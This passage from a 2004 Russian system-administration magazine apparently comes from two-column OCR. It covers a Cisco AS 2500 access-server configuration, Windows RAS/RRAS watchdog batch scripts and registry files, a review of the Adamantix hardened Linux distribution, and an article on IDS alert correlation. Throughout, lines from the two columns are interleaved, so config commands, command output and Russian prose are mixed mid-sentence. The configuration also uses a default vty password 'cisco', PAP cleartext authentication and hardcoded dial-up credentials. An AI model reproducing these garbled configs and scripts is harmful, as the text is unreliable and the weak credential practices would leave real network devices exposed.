ip subnet-zero
no ip domain-lookup ! encapsulation ppp – включить использование протокола
ip domain-name tmb ppp;

34
администрирование
! ppp authentication pap – использовать аутентификацию end
pap;
! group-range 1 16 – применять настройки для портов с При подключенных модемах мы можем видеть следую-
номерами от 1 по 16-й; щую картину:
! async mode dedicated – используется режим выделен-
C#sh line
ной линии; Tty Typ Tx/Rx A Modem Roty AccO AccI Uses Noise Overruns Int
! member 1 peer default ip address 1.2.3.11 – если соедине- * 0 CTY - - - - - 0 0 0/0 -
1 TTY 19200/19200 - inout - - - 0 0 0/0 -
ние происходит с 1-й линии (с первого порта), то выдать 2 TTY 19200/19200 - inout - - - 0 0 0/0 -
IP-адрес 1.2.3.11. 3 TTY 19200/19200 - inout - - - 0 0 0/0 -
A 4 TTY 19200/19200 - inout - - - 1 0 0/0 -
5 TTY 19200/19200 - inout - - - 0 0 0/0 -
На этом с интерфейсами Async разбирательства закон- 6 TTY 19200/19200 - inout - - - 0 0 0/0 -
7 TTY 19200/19200 - inout - - - 0 0 0/0 -
чены. Продолжаем идти дальше. 8 TTY 19200/19200 - inout - - - 0 0 0/0 -
Даем команду – роутинг по умолчанию заворачивать на 9 TTY 19200/19200 - inout - - - 0 0 0/0 -
10 TTY 19200/19200 - inout - - - 0 0 0/0 -
Ethernet0. Не запускаем веб-интерфейс (с него тоже можно 11 TTY 19200/19200 - inout - - - 0 0 0/0 -
администрировать). 12 TTY 19200/19200 - inout - - - 0 0 0/0 -
13 TTY 19200/19200 - inout - - - 0 0 0/0 -
14 TTY 19200/19200 - inout - - - 0 0 0/0 -
ip classless 15 TTY 19200/19200 - inout - - - 0 0 0/0 -
ip route 0.0.0.0 0.0.0.0 Ethernet0 16 TTY 19200/19200 - inout - - - 0 0 0/0 -
no ip http server 17 AUX 9600/9600 - - - - - 0 0 0/0 -
! 18 VTY - - - - - 1 0 0/0 -
19 VTY - - - - - 1 0 0/0 -
20 VTY - - - - - 1 0 0/0 -
Теперь посмотрим, как задать скорость работы с моде- 21 VTY - - - - - 0 0 0/0 -
VTY - - - - - 0 0 0/0 -
мами. Асинхронные линии, как вы видели, уже настроены.
При этом линия №4 была активна. Администрирование
no cdp run происходит через консольный порт Cisco. Посмотрим бо-
banner login _Welcome to Cisco->Metaframe Gateway_
! лее подробно на эту линию.
line con 0
exec-timeout 0 0 C#sh line 4
transport input none Tty Typ Tx/Rx A Modem Roty AccO AccI Uses Noise Overruns Int
A 4 TTY 19200/19200 - inout - - - 1 0 0/0 -
Осталось провести наладку линий от 1 по 16. Конструк- Line 4, Location: "Leased Line Discipline for OutDoor Offices", Type: ""
ция используется следующая: Length: 24 lines, Width: 80 columns
Baud rate (TX/RX) is 19200/19200, no parity, 1 stopbits, 8 databits
Status: Ready, Active, Async Interface Active
line 1 16 Capabilities: Hardware Flowcontrol In, Hardware Flowcontrol Out
autoselect ppp
modem InOut
Modem Callout, Modem RI is CD, Line is permanent async interface
transport input all
stopbits 1 Modem state: Ready
speed 19200 Line is running PPP for address 192.168.15.14.
flowcontrol hardware 0 output packets queued, 1 input packets.
line aux 0 Async Escape map is 00000000000000000000000000000000
line vty 0 Modem hardware state: CTS DSR DTR RTS
exec-timeout 0 0 Interface Async4: (passive, compression on)
password cisco Rcvd: 0 total, 0 compressed, 0 errors
linevty 1 4 0 dropped, 0 buffer copies, 0 buffer failures
! Sent: 0 total, 0 compressed,
0 bytes saved, 0 bytes sent
Connect: 16 rx slots, 16 tx slots, 0 long searches, 0 misses
По мере получения входящего соединения выбирать
Special Chars: Escape Hold Stop Start Disconnect Activation
протокол ppp (autoselect ppp). ^^x none - - none
Более подробно об опциях модема смотрите по коман- Timeouts: Idle EXEC Idle Session Modem Answer Session Dispatch
00:10:00 never none not set
де «modem ?». Idle Session Disconnect Warning
! transport input all – использовать все протоколы (pad, never
Login-sequence User Response
rlogin, telnet, udptn, v120) при подключении к Access 00:00:30
Server; Autoselect Initial Wait
! stopbits 1 – использовать один стоповый бит; not set
Modem type is unknown.
! speed 19200 – скорость на линии выставить в 19200 (та- Session limit is not set.
кую же скорость надо выставить и на модеме); Time since activation: 00:02:18
Editing is enabled.
! flowcontrol hardware – аппаратное управление потоком. History is enabled, history size is 10.
DNS resolution in show commands is enabled
Full user help is disabled
Идем далее по конфигурации. Allowed transports are pad v120 telnet rlogin. Preferred is telnet.
Сервер времени находится по адресу 1.2.3.128: No output characters are padded
No special data dispatching characters
ntpserver 1.2.3.128 На этом с Cisco можно завершать.
Неплохим клиентом по управлению Cisco является
Завершение конфигурации: Telconi Terminal [8].

№9(22), сентябрь 2004 35


администрирование
set LOG=%SystemRoot%\cisco2ras.log
set ERR=%SystemRoot%\cisco2ras.err

REM // 30 seconds lasts each cycle


set TIME=30

REM // 8 seconds to raise new interface in Leased Line


set TIMEDROP=8

REM // 15 seconds for new interface to establish connection


set TIMEIF=15

set IFSTOP=rasdial CiscoHub /D


set IFSTART=rasdial CiscoHub user pass

set MyCMD=Cisco2RAS
set PINGER=1.2.3.128

Echo ========[ %MyCMD% Service startup! ]======== >> %LOG%


time /t >> %LOG%
date /T >> %LOG%
:1
echo Erasing statistics file %ERR% in this cycle
del %ERR%

Каждые 30 секунд (длительность цикла) происходит


проверка интерфейса путем посылки 7 ICMP-пакетов:

ping %PINGER% -n 7 -w %PINGTIMEOUT% | find "TTL" || ↵


echo DOWN > %ERR%

где переменная %PINGER% – адрес хоста в локальной сети,


от которого мы всегда можем получить ответ. Время откли-
ка выставляется с помощью переменной %PINGTIMEOUT%,
равной 2,5 секунды. Откуда получились такие данные? Дело
в том, что когда по каналу будет идти еще и передача «тя-
желых» протоколов (например, ftp), то практически вся ши-
рина канала будет занята. Поэтому может произойти ситу-
ация, когда канал работоспособен, а ICMP-пакеты задер-
жались. Тогда программа будет считать, что интерфейс
упал. В таком случае создается файл %ERR%, и в него пи-
шется слово «DOWN» (т.е. нет интерфейса).

if exist %ERR% (
echo No Leased Line link found. STOP IFACE....
%IFSTOP%
echo Sleeping %TIMEDROP% seconds before dropping ↵
IFACE one more time.
sleep.exe %TIMEDROP%

echo Dropping IFACE one more time.


Плавно переключаем наше внимание на платформу %IFSTOP%
Windows. Для соединения постоянного, отказоустойчиво- echo Sleeping %TIMEIF% seconds before Leased Line is set.
го соединения следует составить свой сервис на основе sleep.exe %TIMEIF%
утилит srvany.exe, instsrv.exe (из Resource Kit, см. также echo Raising up IFACE once more time....
[5, 6]). %IFSTART%
Файлы ras.cmd, srvany.exe, instsrv.exe, sleep.exe следу- echo _________start log________ >> %LOG%
ет положить в системный каталог Windows, в нашем слу- echo new IFACE is set ... >> %LOG%
time /t >> %LOG%
чае это C:\WINNT.PRO. date /T >> %LOG%
Файл ras.cmd: echo __________end log_________ >> %LOG%

)
@Echo Off
REM =======================================================
REM 'Cisco2RAS' service (Win2K Pro) echo Sleeping %TIME% seconds in this turn;
REM Auto-connecting / disconnecting RAS engine Sleep.exe %TIME%
REM Anton Borisov, a.borisov@tesv.tmb.ru
REM 28 Jun 2004 goto 1
REM =======================================================

set PINGTIMEOUT=2500 Затем принудительно убирается интерфейс с помощью


команды %IFSTOP%, происходит ожидание %TIMEDROP%

36
администрирование
секунд, еще одно контрольное сбрасывание интерфейса и
засыпание на %TIMEIF% секунд. Последний показатель –
это время, которое нужно обоим модемам, чтобы устано-
вить между собой режим выделенной линии. После этого
происходит регистрация интерфейса командой %IFSTART%.
Обратите внимание, что в строке «set IFSTART=rasdial
CiscoHub user pass» указаны имя и пароль пользователя,
прописанные в Cisco AS 2500. Имя интерфейса CiscoHub
мы с вами уже создавали. Вот в этом командном файле
оно и используется.
Для того чтобы не устанавливать вручную сервис, я со-
здал данный регистрационный файл. Импортируйте его в
реестр и перегрузите машину.
Файлras.reg:

REGEDIT

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ras.cmd]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001 На этом решение для установки связи между офисом и
"ImagePath"="C:\\WINNT.PRO\\srvany.exe" удаленным филиалом на основе Windows 2000 Professional
"DisplayName"="Cisco2RAS"
"ObjectName"="LocalSystem" и Cisco AS 2500 реализовано.
"MyVersionSftw"="Cisco2RAS Service" Теперь обратимся к варианту на основе RRAS для
"MyVersionInfo"="Auto-connecting / disconnecting RAS engine"
"MyVersionMail"="Anton Borisov, a.borisov@tesv.tmb.ru" Windows 2000 Server. Настраивается RRAS почти что анало-
"MyVersionDate"="28 Jun 2004" гичным образом, что и RAS под Windows 2000 Professional.
"Description"="Auto-connecting / disconnecting RAS engine"
"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00, ↵ Выбираем Start → Settings → Control Panel → Administrative
00,03,00,00,00,98,10,0e,00,01,00,00,00,e0,93,04, ↵ Wizards → Routing and Remote Access Server.
00,01,00,00,00,e0,93,04,00,00,00,00,00,00,00,00,00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵
ras.cmd\Parameters]
"Application"="C:\\WINNT.PRO\\ras.cmd"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵
ras.cmd\Enum]
"0"="Root\\LEGACY_RAS.CMD\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001

Строки MyVersionSftw, MyVersionInfo и т. д. несут только


смысловую нагрузку.
После перезагрузки в службах появится новый сервис.

Выбираем настройку вручную.

При этом сервис настроен таким образом, что он будет


автоматически перезапущен 2 раза в случае неудачного
первоначального старта.

№9(22), сентябрь 2004 37


администрирование
И происходит запуск службы, далее будем только изме- Теперь в свойствах нужно указать необходимые опции.
нять опции. Следует включить опции передачи пароля в незашифро-
ванной форме и производить роутинг.

Добавим новый интерфейс.

И назовем его CiscoHub.


Заполняем поля с именем пользователя и его паролем.

Подключаемся к нему через физическое устройство.

В свойствах созданного интерфейса CiscoHub укажем,


что это постоянное соединение.

Которое сейчас и укажем.

Как вы видите, используется то же устройство, что и в А также добавим статический роутинг для интерфейса
Windows 2000 Pro. CiscoHub.

38
администрирование
)
echo "Sleeping %TIME% seconds in this turn";
Sleep.exe %TIME%
goto 1

Файл rras.reg:

REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\rras.cmd]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"="C:\\WINNT.SRV\\srvany.exe"
"DisplayName"="Cisco2RRAS"
"ObjectName"="LocalSystem"
"MyVersionSftw"="Cisco2RRAS Service"
Аналогично выглядит командный файл сервиса и reg- "MyVersionInfo"="Auto-connecting / disconnecting RRAS engine"
"MyVersionMail"="Anton Borisov, a.borisov@tesv.tmb.ru"
файл этого сервиса. "MyVersionDate"="28 Jun 2004"
Файл rras.cmd: "Description"="Auto-connecting / disconnecting RAS engine"
"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00, ↵
00,03,00,00,00,98,10,0e,00,01,00,00,00,e0,93,04, ↵
@Echo Off 00,01,00,00,00,e0,93,04,00,00,00,00,00,00,00,00,00
REM =======================================================
REM 'Cisco2RRAS' service [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵
REM Auto-connecting / disconnecting RRAS engine rras.cmd\Parameters]
REM Anton Borisov, a.borisov@tesv.tmb.ru "Application"="C:\\WINNT.SRV\\rras.cmd"
REM 28 Jun 2004
REM ======================================================= [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵
rras.cmd\Enum]
set PINGTIMEOUT=2000 "0"="Root\\LEGACY_RRAS.CMD\\0000"
"Count"=dword:00000001
set LOG=%SystemRoot%\cisco2rras.log "NextInstance"=dword:00000001
set ERR=%SystemRoot%\cisco2rras.err
Отличия от версии для RAS выделены красным.
REM // 30 seconds lasts each cycle
set TIME=30 Любознательный читатель спросит, а в чем преимуще-
ство описанной модели? Дело в том, что при плохом каче-
REM // 8 seconds to raise new interface in Leased Line
set TIMEDROP=8 стве самой линии часто возникают разрывы соединения.
Восстановить соединение про требованию (Call-on-Demand),
REM // 15 seconds for new interface to establish connection
set TIMEIF=15 когда инициатором выступает машина удаленного офиса,
при использовании RRAS, несложно. Задача усложняется,
set IFSTOP=netsh interface set interface name = ↵
CiscoHub connect = DISCONNECT когда требуется исключить влияние оператора на ход со-
set IFSTART=netsh interface set interface name = ↵ единения, а также требуется иметь на удаленной стороне
CiscoHub connect = CONNECT
set IFROUTE=netsh routing ip add persistentroute ↵ автономную систему, восстанавливающую свои свойства
192.168.0.0 255.255.0.0 CiscoHub (в данном случае соединение) при аварийных случаях.
set MyCMD=Cisco2RRAS Штатными средствами решить это сложновато, особенно,
set PINGER=192.168.0.100 когда стоит финансовая дилемма использовать Windows
Echo "========[ %MyCMD% Service startup! ]=======" >> %LOG% 2000 Professional или же Windows 2000 Server.
time /t >> %LOG% Из опыта – при тестовых испытаниях восстановление
date /T >> %LOG%
интерфейса происходило менее чем за 45 секунд. Таким
:1 образом, предлагается полностью автоматическое управ-
echo "Erasing statistics file %ERR% in this cycle" ление полетом.
del %ERR% Можно включать и пользоваться.
ping %PINGER% -n 7 -w %PINGTIMEOUT% | find "TTL" || ↵
echo DOWN > %ERR%
if exist %ERR% (
Источники:
echo "No reliable route found. Dropping down IFACE...". 1. http://www.zy.com.pl/ftp/MIRROR-FTP-ZYXEL/u1496s/
%IFSTOP% document/u1496s_v1_UsersGuide.pdf
echo "Sleeping %TIMEDROP% seconds before new IFACE ↵ 2. http://www.rsdn.ru/article/net/rasadmindll.xml
is raised up". 3. http://labmice.techtarget.com/networking/ras.htm
sleep.exe %TIMEDROP%
4. http://www.petri.co.il/configure_tcp_ip_from_cmd.htm
echo "Sleeping %TIMEIF% seconds before Leased Line is set". 5. http://www.dynawell.com/reskit/microsoft/win2000/sleep.zip
sleep.exe %TIMEIF%
6. http://www.dynawell.com/reskit/microsoft/win2000/srvany.zip
echo "Establishing new route. Raising up IFACE...". 7. Cisco 2500 Series Access Server User Guide
%IFSTART%
%IFROUTE% 8. http://www.telconi.com/download.html
9. http://www.tftp-server.com
echo "_________start log________" >> %LOG%
echo "new IFACE is set ... " >> %LOG% 10. http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/
time /t >> %LOG% 11. http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp
date /T >> %LOG%
echo "__________end log_________" >> %LOG% 12. http://www.lulu.com/content/66928

№9(22), сентябрь 2004 39


безопасность

КРЕПКИЙ ОРЕШЕК Really incredible


“... highly-secure but usable...”

СЕРГЕЙ ЯРЕМЧУК
Интернет сегодня не является дружеcтвенной средой и, кро- Установка
ме посетителей, желающих ознакомиться с ресурсом, к вам В документации самими разработчиками установка назва-
наверняка наведываются и те, кто считает своим долгом на как грязная, неудобная, недружественная, и сказано, что
проверить узел на защищенность. В журнале уже много при неаккуратном обращении может привести к потери дан-
писалось о том, как собрать защищенную систему, но на ных. Посмотрим, может, это действительно так. Поначалу ни-
самостоятельную сборку таких систем подчас уходит боль- чего необычного: записываем скачанный образ размером
шое количество времени, особенно при использовании не- 230 Мб на CD, загружаемся, жмем Enter и попадаем в кон-
стандартных приложений, параметры к которым приходит- соль. Для ознакомления с особенностями следует прочесть
ся подбирать экспериментальным путем. Сегодня мы по- файлы FAQ, INSTALL, README и WARNING в каталоге /root.
знакомимся с дистрибутивом, разработчики которого пы- Для установки запускаем скрипт аdamantix-install, после
таются решить две противоречивые задачи: сделать мак- этого в сотый раз предупреждают об уничтожении данных,
симально защищенную, но в то же время простую (я не ска- выбираем раскладку, программу, при помощи которой бу-
зал легкую) в использовании систему. дем разбивать диск (fdisk, cfdisk, parted), после чего выби-
Проект Adamantix (http://www.adamantix.org) занимается раем точку монтирования для корневого и остальных раз-
разработкой одноименного дистрибутива, который по заве- делов, файловую систему для вновь созданных разделов
рениям разработчиков способен противостоять большинству (XFS, ReiserFS, ext2/3), прописываем параметры сетевых
самых распространенных в Интернете атак и предохранить интерфейсов, которые нашла программа установки, IP-ад-
от некоторых возможных проблем с безопасностью в буду- реса шлюза и DNS-сервера, временной пояс и сервер для
щем. Началом проекта послужил другой проект Trusted обновлений, место установки загрузчика. При этом для пе-
Debian (http://www.trusteddebian.org), но т.к. Debian является рехода к следующему пункту выбираем continue. И под ко-
зарегистрированной торговой маркой, было принято реше- нец вводим пароли для root и so (security officer). На этом
ние изменить название. В Adamantix стараются реализовать все. Ничего страшного не произошло, человек, умеющий
все достижения Linux: графический десктоп, в будущем, воз- обращаться с указанными программами и знающий необ-
можно, и графический инсталлятор, автоматическое опре- ходимые параметры, вопреки всем предупреждениям ус-
деление железа, настройка звука, мультимедиа, но только с тановить систему все-таки сможет. И, кстати, можно уста-
одним отличием – это будет более безопасная система. Для новить Adamantix поверх Debian 3.0 (Woody), установлен-
достижения этой цели применяются различные патчи к ядру ного в минимальной инсталляции. При этом для возможно-
и компилятору, более защищенные и специально протести- сти установки приложений при помощи apt-get советую за-
рованные версии программ и другие технологии, повышаю- нести один из выбранных на http://www.adamantix.org/
щие общую защищенность системы. Используется только mirrors.html серверов в файл /etc/apt/sources.list, т.к. паке-
свободное программное обеспечение, поэтому лицензион- ты из Debian не перекомпилированы и не могут противо-
ных отчислений не требуется, хотя в последнее время стал стоять атакам переполнения буфера подобно пакетам
активно развиваться и коммерческий проект, расположен- Adamantix. Перезагружаемся. Нас встречает GRUB, в кото-
ный по адресу http://www.adamantix.com. ром на выбор предлагается несколько вариантов загрузки.

40
безопасность
Сердца Adamantix лее в появившемся меню устанавливаем AUTH May Setuid
Сейчас для работы используется версия 2.4.22-3 ядра, взя- в On, иначе система вас попросту не пустит, т.к. процесс не
тая от Debian unstable. В результате наложения тех или сможет сменить uid, примерно такие действия придется про-
иных патчей получилось три ядра (в более ранних верси- делать затем и для остальных команд, которым необходи-
ях было и четвертое) в шести вариантах (подробнее смот- мо изменение uid.
рите http://www.adamantix.org/documentation/kernel.html/
view): normal, softmode kernel (с префиксом -soft) и secure Работа
mode kernel (-sec). Все ядра скомпилированы с поддерж- Конечно же, в объем 230 Мб вошло только то, что нужно
кой SSP (Stack Smashing Protector), обеспечивающей не- для установки и первоначальных настроек, все остальное,
которую защиту от переполнения буфера, включена под- необходимое для работы, придется доустанавливать и на-
держка XFS, AES-loop, добавлены патчи защиты RSBAC страивать самому. Это сделано специально для того, что-
(http://www.rsbac.org) и PaX (http://pageexec.virtualave.net), бы администратор сам мог выбрать только то, что ему дей-
модуль MS (Malware Scan) с поддержкой ClamAV, включе- ствительно необходимо, лишние приложения в защищен-
ны transparent proxy и модуль MPPE (encrypted PPP) и не- ной системе обычно не приветствуются. Да и, как мне ка-
которые другие опции. В normal kernel отключен RSBAC, жется, установить требуемое все-таки легче, чем убрать
хотя здесь небольшая путаница в документации, так, в FAQ лишнее. Для установки и обновления приложений исполь-
сказано, что он отключен, а в документе «Adamantix Kernel зуется знакомая пользователям Debian утилита apt-get с
Information» сказано, что включен, но, судя по надписям указанием нужного пакета. Если вы устанавливаете
при загрузке, поддержки RSBAC все-таки нет. Ядро soft Adamantix поверх Debian, то в первую очередь установите
предназначено в основном для первоначальной отладки необходимые для настройки RSBAC пакеты: rsbac-
или обкатки технологии RSBAC, т.к. оно не обеспечивает adamantix, rsbac-admin, rsbac-klogd и rsbac-secpolic. Если
защиту, а лишь заносит все нарушения политик в журнал. с установкой новых приложений проблем быть не долж-
Для возможности отключения режима управления досту- но, apt-get уже давно заслужил похвалу у пользователей,
пом оставлена возможность работы в режиме rsbac_ то вот с его настройкой под RSBAC придется повозиться.
softmode, для перехода в защищенный режим достаточно Что поделаешь, Adamantix не относится к тем дистрибу-
убрать строку в загрузчике. Также оставлена включенной тивам, которые настраиваются за пол-дня, здесь в каж-
опция ядра CONFIG_MAGIC_SYSRQ, позволяющая комби- дом конкретном случае требуется индивидуальный под-
нацией <ALT + SysRq> + <command key> производить не- ход, да и построение защищенной системы не любит спеш-
которые операции, к которым, правда, не всегда полезно ки. Кстати, за логи отвечает пакет rsbac-klogd, который
иметь доступ пользователю (подробнее см. в /usr/src/linux/ пишет все данные по защите в /so/log/security-log, находя-
Documentation/sysrq.txt). В ядре sec, предназначенном для щийся в домашнем каталоге пользователя so (uid=400),
максимальной защиты, изначально отключено и запреще- куда имеет доступ только пользователь so, root при пол-
но все, что есть в soft, поэтому перейти в режим soft изме- ной защите в него не допускается. Так что ответы на воп-
нением параметров, передаваемых ядру, не удастся. Если росы, почему не запускаются те или иные сервисы, смот-
не хотите возиться с настройками RSBAC, то можно ис- рите там.
пользовать ядро без префикса, все равно защищенность Далее для информации по применению RSBAC почи-
будет выше благодаря применению PaX, который обеспе- тайте документы «RSBAC on Adamantix HOWTO» (http://
чивает защиту памяти. Разработчики PaX, в отличие от www.adamantix.org/documentation/rsbac.html/view) и «Apache
других подобных проектов вроде OpenWall, в которых ре- with RSBAC Role Compatibility» (http://www.adamantix.org/
ализована защита от конкретных атак, сосредоточивают documentation/rsbac.html/view), информацию на сайте про-
свои усилия на защите от целых классов атак и, вероят- екта RSBAC, где найдете много готовых примеров, а также
но, этот проект может стать единственным, о котором будeм мою статью «RSBAC для Linux» в январском номере жур-
говорить в будущем. Для сомневающихся в эффективнос- нала за 2004 год и статью Станислава Иевлева «RSBAC для
ти этой технологии на странице http://www.adamantix.org/ начинающих» (http://linux.ru.net/~inger/RSBAC-DOC.html). И
demo.html приведены некоторые примеры и, главное, име- остается открытым вопрос цены такой защиты. Конечно же,
ются инструменты, позволяющие проверить правдивость она имеется. Так, за PaX, который используется во всех
этих доводов. ядрах, придется отдать 1-2% производительности, Stack
Smashing Protector (SSP) забирает в зависимости от кода
Загрузка до 8%, и на долю RSBAC приходится 4-5%. Последняя за-
При первой загрузке выскочило сообщение: «Error 15: File висит от количества и состава запущенных модулей (под-
not found». Диск был разбит на такие разделы: hda1 swap робнее о модулях в документации).
hda2 /boot hda3 /var hda4 /. Все решилось изменением строки Единственный недостаток Adamantix – это молодость и,
root hd(0,1) в конфигурации GRUB, для этого, выбрав нуж- как следствие, отсутствие документации, в которой можно
ный пункт, нажимаем «e», и после внесения изменений для найти готовые на все случаи рецепты, но остается только
загрузки «b», затем, чтобы не нажимать это каждый раз, надеяться, что это ненадолго. И конечно же, Adamantix –
редактируем конфигурационный файл загрузчика /boot/ дистрибутив не для всех (по крайней мере пока), но если
grub/menu.lst, используя vi или GNU/nano. В случае приме- необходима максимальная защищенность будущей систе-
нения RSBAC первоначально необходимо загрузиться в soft мы и одновременно легкость в обновлении и совмести-
mode и выполнить команду rsbac_fd_menu /bin/login и да- мость, то, наверное, стоит обратить на него внимание.

№9(22), сентябрь 2004 41


безопасность

БЕССОННАЯ НОЧЬ АДМИНА,


ИЛИ ВОЗМОЖНО ЛИ ПОВЫШЕНИЕ
ТОЧНОСТИ IDS

СЕРГЕЙ ЯРЕМЧУК
Первые упоминания о системах обнаружения атак (IDS) от- ции. Естественно, такое положение дел не могло не остаться
носятся к 1980 году, и начались с публикации Джона Ан- незамеченным, и были предприняты попытки найти реше-
дерсона (John Anderson) «Computer Security Threat Monitoring ния, помогающие уменьшить объем выводимой информа-
and Surveillance». Сегодня же их применяют как в сетях, так ции и увеличить точность систем обнаружения атак.
и устанавливают на отдельные компьютеры, как правило,
в качестве второй дополнительной линии защиты (после Компьютеры и IDS (настоящее время)
firewall) для сигнализации о действиях, которые являются Существует несколько классификаций IDS, некоторые из
злонамеренными по своему содержанию, и остановки втор- них были затронуты в статье Павла Заклякова [13], под-
жения. Открытость инструментов для атаки и доступность робно останавливаться не буду, но для понимания общего
соответствующей информации помогает не только адми- вопроса, возможно, кое-где придется повториться. Систе-
нистраторам в изучении уязвимости систем, но и приводит мы обнаружения атак можно грубо поделить на системы,
к тому, что у некоторых злоумышленников, как говорят, руки реагирующие на аномалии (например, HostSentry, исполь-
чешутся. Постоянные сканирования, проверки в действии зующий технологию Login Anomaly Detection), и системы, ис-
эксплоитов, попытки подбора паролей, сетевые черви – да- пользующие технологии anomaly detection и misuse detection,
леко не полный список того, с чем сегодня приходится иметь например Snort. Первые, собирая некоторую статистику
дело администратору. И к сожалению, в этой ситуации IDS (продолжительность сеансов telnet, IP-адреса и пр.), отсле-
не всегда являются помощниками, а даже наоборот, под- живают все измения и в случае существенного отклонения
час только мешают нормальной работе. В последнее вре- от некоторой нормы бьют тревогу. Хотя, если быть точнее,
мя их работа все больше и больше вызывает критику за то, сейчас различают два типа подобных систем: statistical
что они генерируют большое количество данных, в кото- analysis system и adaptive system. Пример выше описывает
рых истинные предупреждения смешаны с большим коли- статистические системы, адаптивные же, применяя слож-
чеством ложных сообщений. Учитывая, что какая-нибудь ные математические модели, строят некие правила для
сотня предупреждений в день на сегодня – далеко не фан- среды и обучаются, изучая поведение пользователей и си-
тастическая цифра (а реально она гораздо больше, и рас- стемы. Детекторы систем misuse detection реагируют на из-
тет постоянно), перебрать и проанализировать поступаю- вестные атаки и уязвимости, предварительно занесеные в
щий поток информации не в силе ни один админ, на анализ базу данных системы в виде сигнатур. Проблемы есть у
информации тратится большое количество времени, а ав- обеих систем. Первые требуют серьезных статистических
томатическое принятие решений может повлечь за собой исследований и обучения, и не всегда могут отличить нор-
любые последствия вплоть до отключения всей сети от мальные действия от злонамеренных, хотя надо отметить,
Интернета. Кроме того, такие системы не различают атаки это довольно перспективное направление развития систем
по степени угрозы и реагируют на малоопасные (а то вооб- IDS, и за ними, очевидно, будущее. Вторые не могут обна-
ще безопасные для данного узла) атаки или аномалии и руживать новые, не занесенные в базу атаки, при этом при
выдают сообщения без разбора, независимо от наличия обнаружении новых разновидностей атак существует не-
связи между некоторыми действиями. Как пример после которая латентность, пока ее изучат и занесут в базу, а учи-
сканирования портов далеко не всегда происходит атака. тывая, что за полчаса сетевой вирус способен заразить
Дошло дело до того, что некоторые просто отказываются около 100 тысяч компьютеров, эта задержка делает беспо-
от использования сетевых IDS или ограничивают количе- лезной такие системы в самом начале эпидемии. Далее IDS
ство датчиков, чтобы не потонуть в этом море информа- делятся на Network-based IDS и Host-based IDS. NIDS про-

42
безопасность
сматривают сетевой трафик и реагируют на сетевые ата- статочно точный набор последствий довольно тяжело. Хотя
ки, в то время как HIDS защищают отдельный узел. При- в общем такие системы позволяют уменьшить объем вы-
чем такое разделение обязанностей привело к тому, что водимой информации, собирая в один вывод все возмож-
NIDS не понимают, что происходит непосредственно на ком- ные предупреждения, соответствующие некоему возмож-
пьютере и оказываются бесполезны при шифровании тра- ному последствию. Поэтому в данном классе наиболее пер-
фика и наоборот, системе, защищающей хост, абсолютно спективным мне кажется вариант модели самообучающихся
все равно, что там творится в сети. Выходом из этой ситуа- систем. Такой подход позволит автоматически формиро-
ции послужило создание гибридных IDS, сочетающих в себе вать модели для корреляции данных, однако это потребует
достоинства тех и других. В последнее время все чаще IDS обучения в каждом отдельном случае.
разделяют на собственно IDS, отвечающие за сбор статис- И последний класс применяет более комплексный под-
тики, и IPS (Intrusion Prevention Systems, система предотв- ход, используя как предпосылки, так и последствия атак.
ращения атак) – системы, позволяющие реагировать на ата- При этом предпосылка атаки определяет то, что должно
ки. Если в первом случае админ будет просто завален боль- быть удовлетворено для успешной атаки, а последствие
шим количеством (в том числе ложных, отвлекающих пре- атаки описывает то, что должно произойти в том случае,
дупреждений), то во втором случае ошибка в определении когда атака действительно удается. При таком подходе этот
может иметь более неприятные последствия вроде отказа класс позволяет раскрыть зависимости между предупреж-
в доступе вполне лояльным пользователям. И не секрет, дениями и, главное, не ограничен только известными сце-
что сегодня именно IDS благодаря своим «достоинствам» нариями атаки, хотя некоторые методики не отличают не-
подчас подвергаются атаке, атакующий таким образом ста- сколько реализаций одной и той же атаки. Все используе-
рается сбить администратора с толку, ввести дезинформа- мые методы третьего класса основаны на предположении,
цию, отвлечь внимание. что атака узла связана в несколько часто изолируемых ста-
дий с подготовкой в начале и переходит к более активным
Некоторые модели действиям в конце. Так, например, сканирование и сбор бан-
повышения точности систем неров (т.е. предпосылка атаки) должны указать злоумыш-
Можно выделить три класса корреляции результатов. На- леннику на используемые (и возможно, уязвимые) серви-
пример, возможно отобрать все предупреждения, основы- сы, действия же вслепую могут привести к успеху только в
ваясь на подобии неких атрибутов атаки. Как пример один довольно небольшом количестве случаев (для конкретной
и тот же IP-адрес, такой метод позволяет обнаружить скры- системы). Существование уязвимых сервисов является хо-
тое сканирование сетей, но, скорее всего, такой подход не рошей предпосылкой для начала атаки и получения досту-
сможет полностью обнаружить все зависимости между пре- па к системе. Эту ситуацию в самой простой форме можно
дупреждениями, хотя бы по причине того, что некоторые представить как Host(IP, Port). Но для успешной атаки тре-
параметры очень легко изменить во время атаки, но все буется, чтобы компьютер с такими параметрами был дос-
равно все угрозы, исходящие из одного адреса, будут рас- тупен для нападающего, т.е. не был прикрыт firewall. Отсю-
сматриваться как одна, а не несколько угроз, от ложных да условие, необходимое для успешной атаки, приобрета-
тревог такая схема не спасет. Но средства вывода инфор- ет такой вид: Host(IP, Port) && AccessibleFirewall(IP, Port), и
мации IDS-систем позволяют рассмотреть собранные дан- чтобы атака удалась, как вариант необходимо наличие
ные под любым углом, каким только ни пожелает ее про- VulnerableWeb Server(IP). Учитывая, что IDS, прослушивая
смотреть и проанализировать админ (IP-адресам, сервисам трафик и анализируя результат, «не знает» о настройках
и пр.), так что проблемы этого класса, можно сказать, уже firewall и запущенных сервисах, поэтому сигнализирует обо
решены. Также, кроме IP-адреса, сюда можно включить и всем, что обнаруживает, поэтому если отфильтровать не-
подобие пакетов, так, например, некоторые реализации про- нужную информацию, можно убрать часть ложных тревог.
грамм для DoS-атак подменяют только IP-адрес отправите- При описании последствий атаки (действительно возмож-
ля, поэтому, захватив такие пакеты, можно обнаружить их ного исхода) используется набор предикатов вроде
